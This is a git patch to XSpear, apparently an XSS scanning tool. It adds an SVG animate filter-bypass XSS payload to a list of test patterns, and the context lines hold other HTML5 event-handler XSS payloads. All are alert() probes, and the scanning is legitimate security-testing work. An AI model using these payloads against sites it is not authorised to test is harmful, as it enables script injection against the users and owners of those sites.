From c414497e2365ecfcec0b766c66e65e5ec3c669c7 Mon Sep 17 00:00:00 2001
From: hahwul <hahwul@gmail.com>
Date: Sat, 8 Feb 2020 00:42:08 +0900
Subject: [PATCH] (Fixed #50) Add SVG Animate XSS Payload

---
 lib/XSpear.rb | 1 +
 1 file changed, 1 insertion(+)

diff --git a/lib/XSpear.rb b/lib/XSpear.rb
index 962cfb5..61825c3 100644
--- a/lib/XSpear.rb
+++ b/lib/XSpear.rb
@@ -537,6 +537,7 @@ def run
     r.push makeQueryPattern('x', '"\'><audio src onloadstart=alert(45)>', '<audio src onloadstart=alert(45)>', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch)
     r.push makeQueryPattern('x', '"\'><marquee onstart=alert(45)>', '<marquee onstart=alert(45)>', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch)
     r.push makeQueryPattern('x', '"\'><meter onmouseover=alert(45)>0</meter>', '<meter onmouseover=alert(45)>0</meter>', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch)
+    r.push makeQueryPattern('x', '"\'><svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://portswigger.net?&semi;javascript:alert(1)&semi;0" /><a id=xss><text x=20 y=20>XSS</text></a>', '<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://portswigger.net?&semi;javascript:alert(1)&semi;0" />', 'h', "reflected "+"SVG Animate XSS".red, CallbackStringMatch)
 
 
     onfocus_tags.each do |t|